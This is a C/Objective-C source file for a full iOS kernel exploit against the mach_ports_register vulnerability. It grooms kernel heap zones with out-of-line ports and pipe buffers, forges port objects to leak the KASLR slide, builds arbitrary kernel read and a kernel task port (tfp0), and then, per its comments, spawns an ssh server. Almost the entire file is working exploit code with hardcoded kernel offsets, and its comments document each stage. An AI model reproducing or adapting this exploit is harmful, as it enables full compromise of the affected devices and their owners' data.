// [1] https://bugs.chromium.org/p/project-zero/issues/detail?id=882 // [2] http://newosxbook.com/files/PhJB.pdf // [3] https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core @import Foundation; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "__task.h" #include "utils.h" #include "shell.h" #include "offsets.h" typedef union { uint32_t *p32; uint16_t *p16; uint8_t *p8; void *p; uint32_t u32; } many_ptr_t; extern kern_return_t __mach_ports_register ( task_t target_task, mach_port_array_t init_port_set, mach_msg_type_number_t init_port_setCnt ); // Definitions not covered by standard headers extern kern_return_t mach_zone_force_gc(mach_port_t); extern host_name_port_t mach_host_self(void); kern_return_t (* mach_vm_read)(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, vm_offset_t *data, mach_msg_type_number_t *dataCnt); kern_return_t (* mach_vm_read_overwrite)(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *out_size); kern_return_t (* mach_vm_write)(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt); kern_return_t (* mach_vm_deallocate)(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size); kern_return_t (*io_service_add_notification_ool)(mach_port_t, char *, io_buf_ptr_t, mach_msg_type_number_t, mach_port_t, unsigned *, mach_msg_type_number_t, kern_return_t *, mach_port_t *); kern_return_t (* IOMasterPort)(mach_port_t , mach_port_t *); #define resolve(name) \ {\ name = dlsym(RTLD_DEFAULT, ""#name"");\ if (!name) {\ LOG("could not resolve " #name "");\ exit(-1);\ }\ }\ #define BAD_ADDR ((addr_t)-1) // Kernel offsets static struct { addr_t kernel_task; addr_t system_clock; addr_t base; } koffsets = { .kernel_task = 0x8038c090, .system_clock = 0x80338e68, .base = 0x80001000, }; static mach_port_t master = MACH_PORT_NULL; static mach_port_t tfp0 = MACH_PORT_NULL; int __update_super_port(int pipe[2], off_t off, char *buf, void (^fill)(many_ptr_t *mp)); #define PORT_SIZE 0x70 #define IKOT_TASK 2 #define IKOT_CLOCK 25 #define IO_ACTIVE 0x80000000 #define off(x) (x) #define off16(x) (x/2) #define off32(x) (x/4) #define KALLOC_8_CNT 0x800 // The amount of ports we are planing to // decommission during allocator garbage collection. // Each page has 0x24 ports and we are allocating // one pipe per page. Sp this is how many ports // we will have for 0x400 pipes. #define DECOM_PORTS_CNT (0x24*0x400) #define PIPES_CNT 0xf80 #define PAGE_PORTS_CNT 0x500 #define X10_ALLOC_CNT 0x10 #define NOTIFY_CNT 0x800 #define INIT_IP_RIGHTS 0x41 void set_page_buffer_ports(char *buf, void (^fill)(many_ptr_t *mp, int )) { for (int i=0; i<(PAGE_SIZE-PORT_SIZE); i+=PORT_SIZE) { many_ptr_t mp; mp.p = buf + i; fill(&mp, i); } } int set_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp)) { char buf[PAGE_SIZE]; memset(buf, 0, sizeof(buf)); return __update_super_port(pipe, off, buf, fill); } int update_super_port(int pipe[2], off_t off, void (^fill)(many_ptr_t *mp)) { return __update_super_port(pipe, off, NULL, fill); } void gc() { kern_return_t kr = mach_zone_force_gc(mach_host_self()); if (kr != KERN_SUCCESS) { LOG("zone gc failed: %d", kr); exit(-1); } } int mach_ports_register_oob() { mach_port_t ports[3]; ports[0] = 0; ports[1] = 0; ports[2] = 0; // we've patched the generated code for mach_ports_register to only actually send one OOL port // but still set init_port_setCnt to the value passed here return __mach_ports_register(mach_task_self(), ports, 3); } // Trigger the bug and create a dangling port pointer. // Returns a ports list so that dangling port memory block // is placed somewhere amongst blocks from that list. mach_port_t *setup_super_port(mach_port_t *super_port, size_t ports_count) { mach_port_t kalloc_8_ports[KALLOC_8_CNT]; for (int i=0; ip32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_CLOCK; mp->p32[off32(IP_OBJECT_io_references)] = 0x10; mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; }); for (int i=0; i<0x200; i++) { addr_t slide = i << 21; update_super_port(pipe, off, ^(many_ptr_t *mp) { mp->p32[off32(IPC_PORT_kobject)] = koffsets.system_clock + slide; }); kr = clock_sleep_trap(port, 0, 0, 0, 0); if (kr == KERN_SUCCESS) { return slide; } } return BAD_ADDR; } int super_port_to_tfp0(int pipe[2], unsigned off, addr_t task0, addr_t space0, addr_t port_addr) { set_super_port(pipe, off, ^(many_ptr_t *mp) { mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE | IKOT_TASK; mp->p32[off32(IP_OBJECT_io_references)] = 0x10; mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; mp->p32[off32(IPC_PORT_receiver)] = space0; mp->p32[off32(IPC_PORT_kobject)] = task0; // we don't do notify in mach_ports_register mp->p32[off32(IPC_PORT_ip_srights)] = 0x10; mp->p32[off32(IPC_PORT_ip_messages_imq_next)] = port_addr + IPC_PORT_ip_messages_imq_next; mp->p32[off32(IPC_PORT_ip_messages_imq_prev)] = port_addr + IPC_PORT_ip_messages_imq_prev; mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 0x10; mp->p32[off32(0x14)] = 6; mp->p32[off32(0x18)] = 0; }); return 0; } void kread(uint64_t from, void *to, size_t size) { #define BLOCK_SIZE 0xf00 mach_vm_size_t outsize = size; size_t szt = size; if (size > BLOCK_SIZE) { size = BLOCK_SIZE; } size_t off = 0; while (1) { kern_return_t kr = mach_vm_read_overwrite(tfp0, off+from, size, (mach_vm_offset_t)(off+to), &outsize); if (kr != KERN_SUCCESS) { LOG("mach_vm_read_overwrite failed, left: %zu, kr: %d", szt, kr); return; } szt -= size; off += size; if (szt == 0) { break; } size = szt; if (size > BLOCK_SIZE) { size = BLOCK_SIZE; } } #undef BLOCK_SIZE } uint32_t kr32(addr_t from) { kern_return_t kr; vm_offset_t buf = 0; mach_msg_type_number_t num = 0; kr = mach_vm_read(tfp0, from, 4, &buf, &num); if (kr != KERN_SUCCESS) { LOG("mach_vm_read failed!\n"); return 0; } uint32_t val = *(uint32_t*)buf; mach_vm_deallocate(mach_task_self(), buf, num); return val; } uint32_t kw32(addr_t to, uint32_t v) { kern_return_t kr; kr = mach_vm_write(tfp0, to, (vm_offset_t)&v, (mach_msg_type_number_t)4); if (kr != KERN_SUCCESS) { LOG("mach_vm_write failed!\n"); } return kr; } int kread0_32(addr_t addr, void *result, mach_port_t super_port, mach_port_t context_port) { kern_return_t kr = mach_port_set_context(mach_task_self(), context_port, addr - 8); if (kr != KERN_SUCCESS) { LOG("mach_port_set_context failed: %d", kr); return -1; } kr = pid_for_task(super_port, (int *)result); if (kr != KERN_SUCCESS) { LOG("pid_for_task failed: %d", kr); return -2; } return 0; } static void khexdump0(addr_t ptr, size_t n, mach_port_t port, mach_port_t ctx_port) { for (int i=0; ia"); for (int i=0; i%08x%08x%08x%08x", htonl(data[0]), htonl(data[1]), htonl(data[2]), htonl(data[3])); } sprintf(ok_dict+pos, ""); return ok_dict; } io_service_t alloc_x10_alloc(void *xml) { kern_return_t another_error = 0; io_service_t i = MACH_PORT_NULL; kern_return_t kr = io_service_add_notification_ool(master, "IOServicePublish", xml, strlen(xml)+1, MACH_PORT_NULL, NULL, 0, &another_error, &i); if (kr != KERN_SUCCESS || another_error != KERN_SUCCESS) { LOG("io_service_add_notification_ool failed %d, %d", kr, another_error); return MACH_PORT_NULL; } return i; } addr_t kread0_port_addr(addr_t space, mach_port_t port, mach_port_t super_port, mach_port_t ctx_port) { addr_t is_table_size; addr_t is_table; addr_t addr; kern_return_t kr = KERN_SUCCESS; kr = kread0_32(space + SPACE_is_table_size, &is_table_size, super_port, ctx_port); if (kr != KERN_SUCCESS) { return 0; } kr = kread0_32(space + SPACE_is_table, &is_table, super_port, ctx_port); if (kr != KERN_SUCCESS) { return 0; } kr = kread0_32(is_table + (port >> 8)*0x10, &addr, super_port, ctx_port); if (kr != KERN_SUCCESS) { return 0; } return addr; } #include #include // This is an exploit for vulnerability described in [1]. // // To start lets roughly out like the exploit process. It's very // similar to what detailed in [2]. The only difference // is we don't use an information leak bug. // // 1. We fill up 8 bytes kalloc zone with ool ports. // two port pointers each. We use the same port for all of them. // // 2. Free one ool message somewhere in the middle. // // 3. Trigger mach_ports_register bug to allocate // the block we released in 2. with 8 bytes allocation for // two port pointers and read the third port send right out of bound, // grabbing one of the pointers we placed into ool port messages without // proper reference. // // 4. Free the port we sent out of line and refill it with a pipe buffers. // // 6. Retrieve a dangling port send right via mach_ports_lookup. // // 7. Craft a fake IKOT_CLOCK port send right to get kernel slide. // // 8. Leak address of a port receive right using mach_port_request_notification on // a dangling port send right backed by a pipe buffer. // // 9. Use leaked port receive right pointer to setup kernel read via pid_for_task as // described in [2]. // // 10. Use kernel read to convert dangling port into a kernel task send right. // // 11. Spawn ssh server and deploy gnu core utils. // // 12. Cleanup and exit. int main(int argc, char** argv) { kern_return_t kr = KERN_SUCCESS; resolve(io_service_add_notification_ool); resolve(IOMasterPort); resolve(mach_vm_read); resolve(mach_vm_read_overwrite); resolve(mach_vm_write); resolve(mach_vm_deallocate); kr = IOMasterPort(MACH_PORT_NULL, &master); LOG("master port: %x, kr: %d\n", master, kr); // First we stop all other thread to reduce the "noise" for_other_threads(^(thread_act_t t) { kern_return_t kr = thread_suspend(t); if (kr != KERN_SUCCESS) LOG("could not suspend a thread"); }); // Set file limit for our process as high as possible, // since we are using pipes as refill set_nofile_limit(); int pipes[PIPES_CNT][2]; mach_port_t *ports_to_decom; mach_port_t super_port; // We are going to reclaim decommissioned pages // with page size allocations via pipes. // Prepare the buffer first. char pipe_buf[PAGE_SIZE]; memset(pipe_buf, 0, sizeof(pipe_buf)); // We prepare a very minimal refill, so we don't panic // in mach_ports_lookup trap when it needs to // take port lock. set_page_buffer_ports(pipe_buf, ^(many_ptr_t *mp, int i) { mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE; mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; // we set ip_srights to some distinct value, the function // mach_ports_lookup returns as back a send right // to the port, hence it increments ip_srights. // We are going to use that later on to find the // pipe buffer which captured the pages used // for the super port. mp->p32[off32(IPC_PORT_ip_srights)] = INIT_IP_RIGHTS; }); // create pipe files first if (pipes_create((int *)pipes, PIPES_CNT) < 0) { LOG("could not create pipes"); return -1; } // Allocate DECOM_PORTS_CNT ports continuously after some point // and mark one "super" port somewhere in the middle. // The super port is returned back via super_port argument. // // We places super_port without a proper reference into task's itk_registered // using a bogus mach_ports_register call. ports_to_decom = setup_super_port(&super_port, DECOM_PORTS_CNT); if (ports_to_decom == NULL) { return -1; } // exhaust PAGE_SIZE zone so once we trigger the garbage collection // the allocator is going to start requesting the "fresh" pages. mach_port_t page_ports[PAGE_PORTS_CNT]; for (int i=0; i= 0) { LOG("got port pipe %d, off: %04x\n", pipe_idx, pipe_off); } else { LOG("could not find port pipe"); exit(-1); } super_pipe[0] = pipes[pipe_idx][0]; super_pipe[1] = pipes[pipe_idx][1]; pipes[pipe_idx][0] = -1; pipes[pipe_idx][1] = -1; pipes_close((int *)pipes, PIPES_CNT); // We have a send right to a port and full control over // the backing memory via a pipe. // // We use method described in [3] to get kernel ASLR slide. addr_t slide = get_kaslr_slide(super_port, super_pipe, pipe_off); LOG("slide: %08lx", slide); // Now we want to get kernel read using pid_for_task trap trick. // The details on that can be found in [2]. // // With control over content of a sand right we can setup a task send right. // To get a kernel read we would need to have control of at least 4 bytes at // a known kernel address (KA). Then we can point our send right task object // to KA - offsetof(struct task, bsd_proc) and place the address we want // to read from at KA. // // To achieve that we are going to leak address of a receive port right // we can control and use mach_port_set_context to place the address we // want to read at known address. (port_t ip_context field). // // To leak a port address we setup up our super_port so we can register // a notification port for MACH_NOTIFY_DEAD_NAME via // mach_port_request_notification. set_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) { mp->p32[off32(IP_OBJECT_io_bits)] = IO_ACTIVE; mp->p32[off32(IP_OBJECT_io_references)] = 0x10; mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; mp->p32[off32(IPC_PORT_ip_srights)] = 99; mp->p32[off32(IPC_PORT_ip_messages_imq_qlimit)] = 99; mp->p32[off32(IPC_PORT_ip_messages_imq_msgcount)] = 0; }); mach_port_t old; // For pid_for_task call to work we need to make sure // our fake task object has non zero reference counter. // The task reference counter field would land at // ip_pdrequest field of a port located before the port we // are using to place our address at ip_context. So we spam // ports with non zero ip_pdrequest, before allocating // the port. mach_port_t notify_ports[NOTIFY_CNT]; mach_port_t ref_port = alloc_port(); for (int i=0; ip32[off32(IPC_PORT_ip_requests)]; }); LOG("got ip_requests: %lx", ip_requests); // -8 we need for +8 pid offset in proc structure. // + 8 is for second ipc_port_request record. data[0] = ip_requests - 8 + 8; free(xml_many); // now prepare another xml to replace the block we allocated // before with new data. We place our ip_requests pointer at // offset 0. xml_many = alloc_x10_make_xml(0x1000, data); // free the previous allocation for (int i=0; ip32[IP_OBJECT_io_bits] = IO_ACTIVE | IKOT_TASK; // set reference counter so the port is never released mp->p32[off32(IP_OBJECT_io_references)] = 0x10; mp->p32[off32(IP_OBJECT_io_lock_data_lock)] = 0; mp->p32[off32(IP_OBJECT_io_lock_data_type)] = 0x11; mp->p32[off32(IPC_PORT_kobject)] = ip_requests - TASK_bsd_proc + 0x10; mp->p32[off32(IPC_PORT_ip_srights)] = 0x10; mp->p32[off32(IPC_PORT_ip_requests)] = ip_requests; }); addr_t notify_port_addr; kr = pid_for_task(super_port, (int *)¬ify_port_addr); if (kr != KERN_SUCCESS) { LOG("pid_for_task failed"); exit(-1); } LOG("notify addr: %lx", notify_port_addr); // Update the content of the task port so when we call pid_for_task // it's going to use the value of notify_port ip_context field // as bsd_info. update_super_port(super_pipe, pipe_off, ^(many_ptr_t *mp) { mp->p32[off32(IPC_PORT_kobject)] = notify_port_addr - TASK_bsd_proc + IPC_PORT_ip_context; }); uint32_t dummy = 0; if (kread0_32(koffsets.base + slide, &dummy, super_port, notify_port) < 0) { LOG("early kernel read failed"); exit(-1); } if (dummy != 0xFEEDFACE) { LOG("could not setup early kernel read"); exit(-1); } LOG("got early kernel read"); // remove our notification port, to be able to safely release the // super_port later on. kr = mach_port_request_notification(mach_task_self(), super_port, MACH_NOTIFY_DEAD_NAME, 0, MACH_PORT_NULL, MACH_MSG_TYPE_MAKE_SEND_ONCE, &old); if (kr != KERN_SUCCESS) { LOG("mach_port_request_notification failed kr: %x", kr); exit(-1); } // The only thing left to get arbitrary kernel read/write is to // obtain some kernel artifacts. addr_t kernel_task; if (kread0_32(koffsets.kernel_task + slide, (uint32_t *)&kernel_task, super_port, notify_port) < 0) { exit(0); } LOG("kernel_task: %lx", kernel_task); addr_t kernel_space; addr_t kernel_itk_self; kread0_32(kernel_task + TASK_itk_self, (uint32_t *)&kernel_itk_self, super_port, notify_port); kread0_32(kernel_itk_self + IPC_PORT_receiver, (uint32_t *)&kernel_space, super_port, notify_port); LOG("kernel_space: %lx", kernel_space); addr_t self_space; kread0_32(notify_port_addr + IPC_PORT_receiver, &self_space, super_port, notify_port); addr_t super_port_addr = kread0_port_addr(self_space, super_port, super_port, notify_port); LOG("super_port_addr: %lx", super_port_addr); // setup port for kernel task as outlined in [2] super_port_to_tfp0(super_pipe, pipe_off, kernel_task, kernel_space, super_port_addr); LOG("got tfp0"); tfp0 = super_port; // resume thread, otherwise we lose some of // objective-C runtime functionality. for_other_threads(^(thread_act_t t) { kern_return_t kr = thread_resume(t); if (kr != KERN_SUCCESS) LOG("could not resume a thread"); }); shell_main(self_space, slide); ports[0] = 0; ports[1] = 0; ports[2] = 0; mach_ports_register(mach_task_self(), ports, 3); mach_port_destroy(mach_task_self(), tfp0); close(super_pipe[0]); close(super_pipe[1]); exit(0); return 0; }